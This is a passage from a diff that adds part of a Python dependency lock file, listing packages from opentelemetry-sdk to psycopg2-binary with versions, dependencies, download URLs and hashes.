+] + +[[package]] +name = "opentelemetry-sdk" +version = "1.37.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "opentelemetry-api", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-semantic-conventions", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "typing-extensions", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/f4/62/2e0ca80d7fe94f0b193135375da92c640d15fe81f636658d2acf373086bc/opentelemetry_sdk-1.37.0.tar.gz", hash = "sha256:cc8e089c10953ded765b5ab5669b198bbe0af1b3f89f1007d19acd32dc46dda5", size = 170404, upload-time = "2025-09-11T10:29:11.779Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9f/62/9f4ad6a54126fb00f7ed4bb5034964c6e4f00fcd5a905e115bd22707e20d/opentelemetry_sdk-1.37.0-py3-none-any.whl", hash = "sha256:8f3c3c22063e52475c5dbced7209495c2c16723d016d39287dfc215d1771257c", size = 131941, upload-time = "2025-09-11T10:28:57.83Z" }, +] + +[[package]] +name = "opentelemetry-semantic-conventions" +version = "0.58b0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "opentelemetry-api", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "typing-extensions", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/aa/1b/90701d91e6300d9f2fb352153fb1721ed99ed1f6ea14fa992c756016e63a/opentelemetry_semantic_conventions-0.58b0.tar.gz", hash = "sha256:6bd46f51264279c433755767bb44ad00f1c9e2367e1b42af563372c5a6fa0c25", size = 129867, upload-time = "2025-09-11T10:29:12.597Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/07/90/68152b7465f50285d3ce2481b3aec2f82822e3f52e5152eeeaf516bab841/opentelemetry_semantic_conventions-0.58b0-py3-none-any.whl", hash = "sha256:5564905ab1458b96684db1340232729fce3b5375a06e140e8904c78e4f815b28", size = 207954, upload-time = "2025-09-11T10:28:59.218Z" }, +] + +[[package]] +name = "opentelemetry-util-http" +version = "0.58b0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/c6/5f/02f31530faf50ef8a41ab34901c05cbbf8e9d76963ba2fb852b0b4065f4e/opentelemetry_util_http-0.58b0.tar.gz", hash = "sha256:de0154896c3472c6599311c83e0ecee856c4da1b17808d39fdc5cce5312e4d89", size = 9411, upload-time = "2025-09-11T11:43:05.602Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a5/a3/0a1430c42c6d34d8372a16c104e7408028f0c30270d8f3eb6cccf2e82934/opentelemetry_util_http-0.58b0-py3-none-any.whl", hash = "sha256:6c6b86762ed43025fbd593dc5f700ba0aa3e09711aedc36fd48a13b23d8cb1e7", size = 7652, upload-time = "2025-09-11T11:42:09.682Z" }, +] + +[[package]] +name = "orjson" +version = "3.11.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/c6/fe/ed708782d6709cc60eb4c2d8a361a440661f74134675c72990f2c48c785f/orjson-3.11.4.tar.gz", hash = "sha256:39485f4ab4c9b30a3943cfe99e1a213c4776fb69e8abd68f66b83d5a0b0fdc6d", size = 5945188, upload-time = "2025-10-24T15:50:38.027Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/63/1d/1ea6005fffb56715fd48f632611e163d1604e8316a5bad2288bee9a1c9eb/orjson-3.11.4-cp311-cp311-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:5e59d23cd93ada23ec59a96f215139753fbfe3a4d989549bcb390f8c00370b39", size = 243498, upload-time = "2025-10-24T15:48:48.101Z" }, + { url = "https://files.pythonhosted.org/packages/37/d7/ffed10c7da677f2a9da307d491b9eb1d0125b0307019c4ad3d665fd31f4f/orjson-3.11.4-cp311-cp311-macosx_15_0_arm64.whl", hash = "sha256:5c3aedecfc1beb988c27c79d52ebefab93b6c3921dbec361167e6559aba2d36d", size = 128961, upload-time = "2025-10-24T15:48:49.571Z" }, + { url = "https://files.pythonhosted.org/packages/a2/96/3e4d10a18866d1368f73c8c44b7fe37cc8a15c32f2a7620be3877d4c55a3/orjson-3.11.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:da9e5301f1c2caa2a9a4a303480d79c9ad73560b2e7761de742ab39fe59d9175", size = 130321, upload-time = "2025-10-24T15:48:50.713Z" }, + { url = "https://files.pythonhosted.org/packages/eb/1f/465f66e93f434f968dd74d5b623eb62c657bdba2332f5a8be9f118bb74c7/orjson-3.11.4-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:8873812c164a90a79f65368f8f96817e59e35d0cc02786a5356f0e2abed78040", size = 129207, upload-time = "2025-10-24T15:48:52.193Z" }, + { url = "https://files.pythonhosted.org/packages/28/43/d1e94837543321c119dff277ae8e348562fe8c0fafbb648ef7cb0c67e521/orjson-3.11.4-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5d7feb0741ebb15204e748f26c9638e6665a5fa93c37a2c73d64f1669b0ddc63", size = 136323, upload-time = "2025-10-24T15:48:54.806Z" }, + { url = "https://files.pythonhosted.org/packages/bf/04/93303776c8890e422a5847dd012b4853cdd88206b8bbd3edc292c90102d1/orjson-3.11.4-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:01ee5487fefee21e6910da4c2ee9eef005bee568a0879834df86f888d2ffbdd9", size = 137440, upload-time = "2025-10-24T15:48:56.326Z" }, + { url = "https://files.pythonhosted.org/packages/1e/ef/75519d039e5ae6b0f34d0336854d55544ba903e21bf56c83adc51cd8bf82/orjson-3.11.4-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3d40d46f348c0321df01507f92b95a377240c4ec31985225a6668f10e2676f9a", size = 136680, upload-time = "2025-10-24T15:48:57.476Z" }, + { url = "https://files.pythonhosted.org/packages/b5/18/bf8581eaae0b941b44efe14fee7b7862c3382fbc9a0842132cfc7cf5ecf4/orjson-3.11.4-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:95713e5fc8af84d8edc75b785d2386f653b63d62b16d681687746734b4dfc0be", size = 136160, upload-time = "2025-10-24T15:48:59.631Z" }, + { url = "https://files.pythonhosted.org/packages/c4/35/a6d582766d351f87fc0a22ad740a641b0a8e6fc47515e8614d2e4790ae10/orjson-3.11.4-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:ad73ede24f9083614d6c4ca9a85fe70e33be7bf047ec586ee2363bc7418fe4d7", size = 140318, upload-time = "2025-10-24T15:49:00.834Z" }, + { url = "https://files.pythonhosted.org/packages/76/b3/5a4801803ab2e2e2d703bce1a56540d9f99a9143fbec7bf63d225044fef8/orjson-3.11.4-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:842289889de515421f3f224ef9c1f1efb199a32d76d8d2ca2706fa8afe749549", size = 406330, upload-time = "2025-10-24T15:49:02.327Z" }, + { url = "https://files.pythonhosted.org/packages/80/55/a8f682f64833e3a649f620eafefee175cbfeb9854fc5b710b90c3bca45df/orjson-3.11.4-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:3b2427ed5791619851c52a1261b45c233930977e7de8cf36de05636c708fa905", size = 149580, upload-time = "2025-10-24T15:49:03.517Z" }, + { url = "https://files.pythonhosted.org/packages/ad/e4/c132fa0c67afbb3eb88274fa98df9ac1f631a675e7877037c611805a4413/orjson-3.11.4-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:3c36e524af1d29982e9b190573677ea02781456b2e537d5840e4538a5ec41907", size = 139846, upload-time = "2025-10-24T15:49:04.761Z" }, +] + +[[package]] +name = "packaging" +version = "25.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/a1/d4/1fc4078c65507b51b96ca8f8c3ba19e6a61c8253c72794544580a7b6c24d/packaging-25.0.tar.gz", hash = "sha256:d443872c98d677bf60f6a1f2f8c1cb748e8fe762d2bf9d3148b5599295b0fc4f", size = 165727, upload-time = "2025-04-19T11:48:59.673Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/20/12/38679034af332785aac8774540895e234f4d07f7545804097de4b666afd8/packaging-25.0-py3-none-any.whl", hash = "sha256:29572ef2b1f17581046b3a2227d5c611fb25ec70ca1ba8554b24b0e69331a484", size = 66469, upload-time = "2025-04-19T11:48:57.875Z" }, +] + +[[package]] +name = "parso" +version = "0.8.5" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d4/de/53e0bcf53d13e005bd8c92e7855142494f41171b34c2536b86187474184d/parso-0.8.5.tar.gz", hash = "sha256:034d7354a9a018bdce352f48b2a8a450f05e9d6ee85db84764e9b6bd96dafe5a", size = 401205, upload-time = "2025-08-23T15:15:28.028Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/16/32/f8e3c85d1d5250232a5d3477a2a28cc291968ff175caeadaf3cc19ce0e4a/parso-0.8.5-py2.py3-none-any.whl", hash = "sha256:646204b5ee239c396d040b90f9e272e9a8017c630092bf59980beb62fd033887", size = 106668, upload-time = "2025-08-23T15:15:25.663Z" }, +] + +[[package]] +name = "pathable" +version = "0.4.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/67/93/8f2c2075b180c12c1e9f6a09d1a985bc2036906b13dff1d8917e395f2048/pathable-0.4.4.tar.gz", hash = "sha256:6905a3cd17804edfac7875b5f6c9142a218c7caef78693c2dbbbfbac186d88b2", size = 8124, upload-time = "2025-01-10T18:43:13.247Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7d/eb/b6260b31b1a96386c0a880edebe26f89669098acea8e0318bff6adb378fd/pathable-0.4.4-py3-none-any.whl", hash = "sha256:5ae9e94793b6ef5a4cbe0a7ce9dbbefc1eec38df253763fd0aeeacf2762dbbc2", size = 9592, upload-time = "2025-01-10T18:43:11.88Z" }, +] + +[[package]] +name = "pathspec" +version = "0.12.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/ca/bc/f35b8446f4531a7cb215605d100cd88b7ac6f44ab3fc94870c120ab3adbf/pathspec-0.12.1.tar.gz", hash = "sha256:a482d51503a1ab33b1c67a6c3813a26953dbdc71c31dacaef9a838c4e29f5712", size = 51043, upload-time = "2023-12-10T22:30:45Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/cc/20/ff623b09d963f88bfde16306a54e12ee5ea43e9b597108672ff3a408aad6/pathspec-0.12.1-py3-none-any.whl", hash = "sha256:a0d503e138a4c123b27490a4f7beda6a01c6f288df0e4a8b79c7eb0dc7b4cc08", size = 31191, upload-time = "2023-12-10T22:30:43.14Z" }, +] + +[[package]] +name = "pexpect" +version = "4.9.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "ptyprocess", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/42/92/cc564bf6381ff43ce1f4d06852fc19a2f11d180f23dc32d9588bee2f149d/pexpect-4.9.0.tar.gz", hash = "sha256:ee7d41123f3c9911050ea2c2dac107568dc43b2d3b0c7557a33212c398ead30f", size = 166450, upload-time = "2023-11-25T09:07:26.339Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9e/c3/059298687310d527a58bb01f3b1965787ee3b40dce76752eda8b44e9a2c5/pexpect-4.9.0-py2.py3-none-any.whl", hash = "sha256:7236d1e080e4936be2dc3e326cec0af72acf9212a7e1d060210e70a47e253523", size = 63772, upload-time = "2023-11-25T06:56:14.81Z" }, +] + +[[package]] +name = "pgvector" +version = "0.4.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "numpy", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/44/43/9a0fb552ab4fd980680c2037962e331820f67585df740bedc4a2b50faf20/pgvector-0.4.1.tar.gz", hash = "sha256:83d3a1c044ff0c2f1e95d13dfb625beb0b65506cfec0941bfe81fd0ad44f4003", size = 30646, upload-time = "2025-04-26T18:56:37.151Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/bf/21/b5735d5982892c878ff3d01bb06e018c43fc204428361ee9fc25a1b2125c/pgvector-0.4.1-py3-none-any.whl", hash = "sha256:34bb4e99e1b13d08a2fe82dda9f860f15ddcd0166fbb25bffe15821cbfeb7362", size = 27086, upload-time = "2025-04-26T18:56:35.956Z" }, +] + +[[package]] +name = "pillow" +version = "10.4.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/cd/74/ad3d526f3bf7b6d3f408b73fde271ec69dfac8b81341a318ce825f2b3812/pillow-10.4.0.tar.gz", hash = "sha256:166c1cd4d24309b30d61f79f4a9114b7b2313d7450912277855ff5dfd7cd4a06", size = 46555059, upload-time = "2024-07-01T09:48:43.583Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a7/62/c9449f9c3043c37f73e7487ec4ef0c03eb9c9afc91a92b977a67b3c0bbc5/pillow-10.4.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:0a9ec697746f268507404647e531e92889890a087e03681a3606d9b920fbee3c", size = 3509265, upload-time = "2024-07-01T09:45:49.812Z" }, + { url = "https://files.pythonhosted.org/packages/f4/5f/491dafc7bbf5a3cc1845dc0430872e8096eb9e2b6f8161509d124594ec2d/pillow-10.4.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:dfe91cb65544a1321e631e696759491ae04a2ea11d36715eca01ce07284738be", size = 3375655, upload-time = "2024-07-01T09:45:52.462Z" }, + { url = "https://files.pythonhosted.org/packages/73/d5/c4011a76f4207a3c151134cd22a1415741e42fa5ddecec7c0182887deb3d/pillow-10.4.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5dc6761a6efc781e6a1544206f22c80c3af4c8cf461206d46a1e6006e4429ff3", size = 4340304, upload-time = "2024-07-01T09:45:55.006Z" }, + { url = "https://files.pythonhosted.org/packages/ac/10/c67e20445a707f7a610699bba4fe050583b688d8cd2d202572b257f46600/pillow-10.4.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5e84b6cc6a4a3d76c153a6b19270b3526a5a8ed6b09501d3af891daa2a9de7d6", size = 4452804, upload-time = "2024-07-01T09:45:58.437Z" }, + { url = "https://files.pythonhosted.org/packages/a9/83/6523837906d1da2b269dee787e31df3b0acb12e3d08f024965a3e7f64665/pillow-10.4.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:bbc527b519bd3aa9d7f429d152fea69f9ad37c95f0b02aebddff592688998abe", size = 4365126, upload-time = "2024-07-01T09:46:00.713Z" }, + { url = "https://files.pythonhosted.org/packages/ba/e5/8c68ff608a4203085158cff5cc2a3c534ec384536d9438c405ed6370d080/pillow-10.4.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:76a911dfe51a36041f2e756b00f96ed84677cdeb75d25c767f296c1c1eda1319", size = 4533541, upload-time = "2024-07-01T09:46:03.235Z" }, + { url = "https://files.pythonhosted.org/packages/f4/7c/01b8dbdca5bc6785573f4cee96e2358b0918b7b2c7b60d8b6f3abf87a070/pillow-10.4.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:59291fb29317122398786c2d44427bbd1a6d7ff54017075b22be9d21aa59bd8d", size = 4471616, upload-time = "2024-07-01T09:46:05.356Z" }, + { url = "https://files.pythonhosted.org/packages/c8/57/2899b82394a35a0fbfd352e290945440e3b3785655a03365c0ca8279f351/pillow-10.4.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:416d3a5d0e8cfe4f27f574362435bc9bae57f679a7158e0096ad2beb427b8696", size = 4600802, upload-time = "2024-07-01T09:46:08.145Z" }, +] + +[[package]] +name = "platformdirs" +version = "4.5.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/61/33/9611380c2bdb1225fdef633e2a9610622310fed35ab11dac9620972ee088/platformdirs-4.5.0.tar.gz", hash = "sha256:70ddccdd7c99fc5942e9fc25636a8b34d04c24b335100223152c2803e4063312", size = 21632, upload-time = "2025-10-08T17:44:48.791Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/73/cb/ac7874b3e5d58441674fb70742e6c374b28b0c7cb988d37d991cde47166c/platformdirs-4.5.0-py3-none-any.whl", hash = "sha256:e578a81bb873cbb89a41fcc904c7ef523cc18284b7e3b3ccf06aca1403b7ebd3", size = 18651, upload-time = "2025-10-08T17:44:47.223Z" }, +] + +[[package]] +name = "pluggy" +version = "1.6.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f9/e2/3e91f31a7d2b083fe6ef3fa267035b518369d9511ffab804f839851d2779/pluggy-1.6.0.tar.gz", hash = "sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3", size = 69412, upload-time = "2025-05-15T12:30:07.975Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/54/20/4d324d65cc6d9205fabedc306948156824eb9f0ee1633355a8f7ec5c66bf/pluggy-1.6.0-py3-none-any.whl", hash = "sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746", size = 20538, upload-time = "2025-05-15T12:30:06.134Z" }, +] + +[[package]] +name = "posthog" +version = "7.0.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "backoff", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "distro", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "python-dateutil", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "requests", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "six", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "typing-extensions", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/a2/d4/b9afe855a8a7a1bf4459c28ae4c300b40338122dc850acabefcf2c3df24d/posthog-7.0.1.tar.gz", hash = "sha256:21150562c2630a599c1d7eac94bc5c64eb6f6acbf3ff52ccf1e57345706db05a", size = 126985, upload-time = "2025-11-15T12:44:22.465Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/05/0c/8b6b20b0be71725e6e8a32dcd460cdbf62fe6df9bc656a650150dc98fedd/posthog-7.0.1-py3-none-any.whl", hash = "sha256:efe212d8d88a9ba80a20c588eab4baf4b1a5e90e40b551160a5603bb21e96904", size = 145234, upload-time = "2025-11-15T12:44:21.247Z" }, +] + +[[package]] +name = "pprintpp" +version = "0.4.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/06/1a/7737e7a0774da3c3824d654993cf57adc915cb04660212f03406334d8c0b/pprintpp-0.4.0.tar.gz", hash = "sha256:ea826108e2c7f49dc6d66c752973c3fc9749142a798d6b254e1e301cfdbc6403", size = 17995, upload-time = "2018-07-01T01:42:34.87Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/4e/d1/e4ed95fdd3ef13b78630280d9e9e240aeb65cc7c544ec57106149c3942fb/pprintpp-0.4.0-py2.py3-none-any.whl", hash = "sha256:b6b4dcdd0c0c0d75e4d7b2f21a9e933e5b2ce62b26e1a54537f9651ae5a5c01d", size = 16952, upload-time = "2018-07-01T01:42:36.496Z" }, +] + +[[package]] +name = "prometheus-client" +version = "0.23.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/23/53/3edb5d68ecf6b38fcbcc1ad28391117d2a322d9a1a3eff04bfdb184d8c3b/prometheus_client-0.23.1.tar.gz", hash = "sha256:6ae8f9081eaaaf153a2e959d2e6c4f4fb57b12ef76c8c7980202f1e57b48b2ce", size = 80481, upload-time = "2025-09-18T20:47:25.043Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b8/db/14bafcb4af2139e046d03fd00dea7873e48eafe18b7d2797e73d6681f210/prometheus_client-0.23.1-py3-none-any.whl", hash = "sha256:dd1913e6e76b59cfe44e7a4b83e01afc9873c1bdfd2ed8739f1e76aeca115f99", size = 61145, upload-time = "2025-09-18T20:47:23.875Z" }, +] + +[[package]] +name = "prompt-toolkit" +version = "3.0.52" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "wcwidth", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/a1/96/06e01a7b38dce6fe1db213e061a4602dd6032a8a97ef6c1a862537732421/prompt_toolkit-3.0.52.tar.gz", hash = "sha256:28cde192929c8e7321de85de1ddbe736f1375148b02f2e17edd840042b1be855", size = 434198, upload-time = "2025-08-27T15:24:02.057Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/84/03/0d3ce49e2505ae70cf43bc5bb3033955d2fc9f932163e84dc0779cc47f48/prompt_toolkit-3.0.52-py3-none-any.whl", hash = "sha256:9aac639a3bbd33284347de5ad8d68ecc044b91a762dc39b7c21095fcd6a19955", size = 391431, upload-time = "2025-08-27T15:23:59.498Z" }, +] + +[[package]] +name = "prosemirror" +version = "0.3.5" +source = { url = "https://github.com/fellowapp/prosemirror-py/archive/refs/tags/v0.3.5.zip" } +dependencies = [ + { name = "typing-extensions", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { hash = "sha256:64389883f6e2911b93576a1db59bce240b2d3099542293166b73a55f9169e8f5" } + +[package.metadata] +requires-dist = [{ name = "typing-extensions", specifier = ">=4.4.0,<5.0.0" }] + +[[package]] +name = "proto-plus" +version = "1.26.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "protobuf", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/f4/ac/87285f15f7cce6d4a008f33f1757fb5a13611ea8914eb58c3d0d26243468/proto_plus-1.26.1.tar.gz", hash = "sha256:21a515a4c4c0088a773899e23c7bbade3d18f9c66c73edd4c7ee3816bc96a012", size = 56142, upload-time = "2025-03-10T15:54:38.843Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/4e/6d/280c4c2ce28b1593a19ad5239c8b826871fc6ec275c21afc8e1820108039/proto_plus-1.26.1-py3-none-any.whl", hash = "sha256:13285478c2dcf2abb829db158e1047e2f1e8d63a077d94263c2b88b043c75a66", size = 50163, upload-time = "2025-03-10T15:54:37.335Z" }, +] + +[[package]] +name = "protobuf" +version = "6.33.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/0a/03/a1440979a3f74f16cab3b75b0da1a1a7f922d56a8ddea96092391998edc0/protobuf-6.33.1.tar.gz", hash = "sha256:97f65757e8d09870de6fd973aeddb92f85435607235d20b2dfed93405d00c85b", size = 443432, upload-time = "2025-11-13T16:44:18.895Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/cd/93/26213ff72b103ae55bb0d73e7fb91ea570ef407c3ab4fd2f1f27cac16044/protobuf-6.33.1-cp39-abi3-macosx_10_9_universal2.whl", hash = "sha256:fe34575f2bdde76ac429ec7b570235bf0c788883e70aee90068e9981806f2490", size = 427522, upload-time = "2025-11-13T16:44:10.475Z" }, + { url = "https://files.pythonhosted.org/packages/c2/32/df4a35247923393aa6b887c3b3244a8c941c32a25681775f96e2b418f90e/protobuf-6.33.1-cp39-abi3-manylinux2014_aarch64.whl", hash = "sha256:f8adba2e44cde2d7618996b3fc02341f03f5bc3f2748be72dc7b063319276178", size = 324445, upload-time = "2025-11-13T16:44:11.869Z" }, + { url = "https://files.pythonhosted.org/packages/8e/d0/d796e419e2ec93d2f3fa44888861c3f88f722cde02b7c3488fcc6a166820/protobuf-6.33.1-cp39-abi3-manylinux2014_s390x.whl", hash = "sha256:0f4cf01222c0d959c2b399142deb526de420be8236f22c71356e2a544e153c53", size = 339161, upload-time = "2025-11-13T16:44:12.778Z" }, + { url = "https://files.pythonhosted.org/packages/1d/2a/3c5f05a4af06649547027d288747f68525755de692a26a7720dced3652c0/protobuf-6.33.1-cp39-abi3-manylinux2014_x86_64.whl", hash = "sha256:8fd7d5e0eb08cd5b87fd3df49bc193f5cfd778701f47e11d127d0afc6c39f1d1", size = 323171, upload-time = "2025-11-13T16:44:14.035Z" }, + { url = "https://files.pythonhosted.org/packages/08/b4/46310463b4f6ceef310f8348786f3cff181cea671578e3d9743ba61a459e/protobuf-6.33.1-py3-none-any.whl", hash = "sha256:d595a9fd694fdeb061a62fbe10eb039cc1e444df81ec9bb70c7fc59ebcb1eafa", size = 170477, upload-time = "2025-11-13T16:44:17.633Z" }, +] + +[[package]] +name = "psutil" +version = "5.9.8" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/90/c7/6dc0a455d111f68ee43f27793971cf03fe29b6ef972042549db29eec39a2/psutil-5.9.8.tar.gz", hash = "sha256:6be126e3225486dff286a8fb9a06246a5253f4c7c53b475ea5f5ac934e64194c", size = 503247, upload-time = "2024-01-19T20:47:09.517Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e7/e3/07ae864a636d70a8a6f58da27cb1179192f1140d5d1da10886ade9405797/psutil-5.9.8-cp36-abi3-macosx_10_9_x86_64.whl", hash = "sha256:aee678c8720623dc456fa20659af736241f575d79429a0e5e9cf88ae0605cc81", size = 248702, upload-time = "2024-01-19T20:47:36.303Z" }, + { url = "https://files.pythonhosted.org/packages/b3/bd/28c5f553667116b2598b9cc55908ec435cb7f77a34f2bff3e3ca765b0f78/psutil-5.9.8-cp36-abi3-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8cb6403ce6d8e047495a701dc7c5bd788add903f8986d523e3e20b98b733e421", size = 285242, upload-time = "2024-01-19T20:47:39.65Z" }, + { url = "https://files.pythonhosted.org/packages/c5/4f/0e22aaa246f96d6ac87fe5ebb9c5a693fbe8877f537a1022527c47ca43c5/psutil-5.9.8-cp36-abi3-manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d06016f7f8625a1825ba3732081d77c94589dca78b7a3fc072194851e88461a4", size = 288191, upload-time = "2024-01-19T20:47:43.078Z" }, + { url = "https://files.pythonhosted.org/packages/05/33/2d74d588408caedd065c2497bdb5ef83ce6082db01289a1e1147f6639802/psutil-5.9.8-cp38-abi3-macosx_11_0_arm64.whl", hash = "sha256:d16bbddf0693323b8c6123dd804100241da461e41d6e332fb0ba6058f630f8c8", size = 249898, upload-time = "2024-01-19T20:47:59.238Z" }, +] + +[[package]] +name = "psycopg2-binary" +version = "2.9.10" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/cb/0e/bdc8274dc0585090b4e3432267d7be4dfbfd8971c0fa59167c711105a6bf/psycopg2-binary-2.9.10.tar.gz", hash = "sha256:4b3df0e6990aa98acda57d983942eff13d824135fe2250e6522edaa782a06de2", size = 385764, upload-time = "2024-10-16T11:24:58.126Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9c/8f/9feb01291d0d7a0a4c6a6bab24094135c2b59c6a81943752f632c75896d6/psycopg2_binary-2.9.10-cp311-cp311-macosx_12_0_x86_64.whl", hash = "sha256:04392983d0bb89a8717772a193cfaac58871321e3ec69514e1c4e0d4957b5aff", size = 3043397, upload-time = "2024-10-16T11:19:40.033Z" }, + { url = "https://files.pythonhosted.org/packages/15/30/346e4683532011561cd9c8dfeac6a8153dd96452fee0b12666058ab7893c/psycopg2_binary-2.9.10-cp311-cp311-macosx_14_0_arm64.whl", hash = "sha256:1a6784f0ce3fec4edc64e985865c17778514325074adf5ad8f80636cd029ef7c", size = 3274806, upload-time = "2024-10-16T11:19:43.5Z" }, + { url = "https://files.pythonhosted.org/packages/66/6e/4efebe76f76aee7ec99166b6c023ff8abdc4e183f7b70913d7c047701b79/psycopg2_binary-2.9.10-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b5f86c56eeb91dc3135b3fd8a95dc7ae14c538a2f3ad77a19645cf55bab1799c", size = 2851370, upload-time = "2024-10-16T11:19:46.986Z" }, + { url = "https://files.pythonhosted.org/packages/7f/fd/ff83313f86b50f7ca089b161b8e0a22bb3c319974096093cd50680433fdb/psycopg2_binary-2.9.10-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2b3d2491d4d78b6b14f76881905c7a8a8abcf974aad4a8a0b065273a0ed7a2cb", size = 3080780, upload-time = "2024-10-16T11:19:50.242Z" }, + { url = "https://files.pythonhosted.org/packages/e6/c4/bfadd202dcda8333a7ccafdc51c541dbdfce7c2c7cda89fa2374455d795f/psycopg2_binary-2.9.10-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2286791ececda3a723d1910441c793be44625d86d1a4e79942751197f4d30341", size = 3264583, upload-time = "2024-10-16T11:19:54.424Z" }, + { url = "https://files.pythonhosted.org/packages/5d/f1/09f45ac25e704ac954862581f9f9ae21303cc5ded3d0b775532b407f0e90/psycopg2_binary-2.9.10-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:512d29bb12608891e349af6a0cccedce51677725a921c07dba6342beaf576f9a", size = 3019831, upload-time 